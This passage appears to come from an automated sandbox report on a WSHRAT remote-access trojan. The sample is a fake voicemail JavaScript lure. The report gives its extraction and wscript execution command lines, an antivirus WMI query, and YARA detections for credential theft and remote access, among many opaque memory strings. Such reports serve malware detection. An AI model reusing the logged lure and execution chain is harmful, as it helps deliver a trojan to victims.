                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d 6p7pmemstr_2832f4b3-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d7p9pmemstr_811ea217-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: d;pgpmemstr_57d17e74-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bpgpnhpkpmemstr_5556195f-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: uhpkpmemstr_cb03db88-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dlpsp,(memstr_14a4f69f-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rpypmemstr_993806fd-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: zpfpmemstr_7cb0ee1f-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'rpfpmemstr_600b5858-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: gpnpdfmemstr_f81e41cf-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: opqpmemstr_0f245f53-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'gprpmemstr_70c00180-1
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rpsp@8memstr_1681f3ac-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &rpspmemstr_2435e971-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tpupmemstr_95566433-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vpzpmemstr_b24061ed-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'tpzp|!memstr_99ae8a49-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p~'{pmemstr_a90a1f04-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: p3qp$memstr_bba48b73-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: q#qmemstr_53a4d33f-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %q,qdfmemstr_8bfa83ea-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: -q0qmemstr_647d7891-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '%q1q&memstr_307b9a28-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1q2qh^memstr_ec81f444-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: q1qmemstr_c5c5b2cb-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &q2qmemstr_b2203e0a-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: j4qfqmemstr_034fd838-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7q8qmemstr_98aaa4ab-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 9q?qmemstr_71e80f13-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '7q?qmemstr_76d56354-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bqeqmemstr_c4c266e3-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7qeq'memstr_cc01dd49-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ngqjql'memstr_3a21459c-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ugqjqp'memstr_720b96d5-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dkqsqmemstr_7cfc378e-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qqxqmemstr_87d2184b-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: yqeqmemstr_a7df0b43-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'qqeql(memstr_dd0cd671-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: fqmqdfmemstr_a2d48571-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nqqqmemstr_9928dcd6-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'fqrqmemstr_d6955108-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rqsq$\memstr_25e2f6ce-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &qqsqt(memstr_02b800c4-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tquq\memstr_a34ded51-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vqzql\memstr_0b443b91-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'tqzqmemstr_24579d0b-a
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |q}qmemstr_f7b8529e-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (tq}q,)memstr_9d7c596d-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ckq}q,(memstr_cb74fe70-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pfqp$memstr_27093944-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qrximemstr_2db5b0e7-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qrh-memstr_f71954eb-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: r!rl]memstr_d3de79a2-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "r,rmemstr_316a8969-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .r5rdfmemstr_24954d26-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 6r9rmemstr_6ab10f06-2
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '.r:rmemstr_1e0a4179-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :r;rh^memstr_7e99db14-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "r:rmemstr_ae85907a-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;rbrtdmemstr_de03fadb-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c"rbrmemstr_d7ab3e2d-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rcrt.memstr_2d0713d2-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: drer\memstr_60038332-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: grnrmemstr_e3e31a92-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: or[rmemstr_a9af42cc-f
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'gr[rp/memstr_0ed824c0-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \rcrdfmemstr_9c47c622-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: drgrmemstr_119fcb8a-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: '\rhrmemstr_d3afbb84-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hrir$\memstr_8b009fe0-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &grirmemstr_a373f202-0
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (drir\/memstr_8c6fdabf-8
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rir@/memstr_e1b0ad73-6
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: jrkr\memstr_58f6efe1-7
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: lrprl\memstr_b5eff159-4
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'jrpr`0memstr_487c65ad-b
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rrsrmemstr_77c2150c-3
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (jrsrmemstr_ed27d2f5-e
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: cdrsr(0memstr_0b408953-c
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: trur\memstr_5d3021b8-5
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vrzrx\memstr_58312e78-9
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 'trzrmemstr_2917ab7c-d
                    Source: wscript.exe, 0000000C.00000003.2094532677.0000000005D5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &tr|rmemstr_d9293832-a
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\2otik2vy.ast" "C:\Users\user\Downloads\New Voicemail May 9 _mp4.zip"Jump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js" Jump to behavior
                    Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"Jump to behavior
                    Source: C:\Windows\SysWOW64\unarchiver.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                    Source: wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661089635.0000000003605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                    Source: C:\Windows\SysWOW64\wscript.exeWMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct

                    Stealing of Sensitive Information

                    barindex
                    Yara detected WSHRAT
                    Source: Yara matchFile source: dump.pcap, type: PCAP
                    Source: Yara matchFile source: 0000000B.00000003.2053554395.0000000003517000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092992601.00000000052A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2197255789.0000000006CBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443802427.000002101330E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662166348.00000000059A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662453793.00000210132F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092554619.0000000005A54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2094186218.000000000573C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443649511.00000210131BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047460205.0000000005727000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662373093.0000000005AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444885075.00000210130B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662263359.00000210131BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3663724443.000002101409B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092891218.0000000005B96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3661879810.0000021012F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2044961577.00000000055E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661927957.000000000562A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2093146388.00000000055ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: 7za.exe PID: 2936, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 1544, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 6936, type: MEMORYSTR
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED

                    Remote Access Functionality

                    barindex
                    Yara detected WSHRAT
                    Source: Yara matchFile source: dump.pcap, type: PCAP
                    Source: Yara matchFile source: 0000000B.00000003.2053554395.0000000003517000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2093975107.00000000038A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092992601.00000000052A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2197255789.0000000006CBD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443802427.000002101330E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2776254293.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662166348.00000000059A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2252696295.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662453793.00000210132F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000007.00000003.2039075098.0000000000E00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092554619.0000000005A54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2094186218.000000000573C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2443649511.00000210131BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047460205.0000000005727000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662373093.0000000005AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2365561540.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444885075.00000210130B2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662263359.00000210131BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3283310659.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3663724443.000002101409B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092891218.0000000005B96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3228165832.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2122982130.0000000006CA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2091678833.0000000006DB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000002.3661879810.0000021012F6B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2195388309.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3664293608.0000000006F10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3338153980.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2089734091.0000000006A73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2309211314.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2044961577.00000000055E7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000002.3661927957.000000000562A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2093146388.00000000055ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2479670966.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.3408776876.0000000006F11000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000011.00000003.2444105297.00000210130F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000B.00000003.2047368224.0000000005204000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 0000000C.00000003.2092684570.00000000059AF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: 7za.exe PID: 2936, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 7076, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 1544, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: wscript.exe PID: 6936, type: MEMORYSTR
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\2otik2vy.ast\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js, type: DROPPED
                    Contains VNC / remote desktop functionality (version string found)
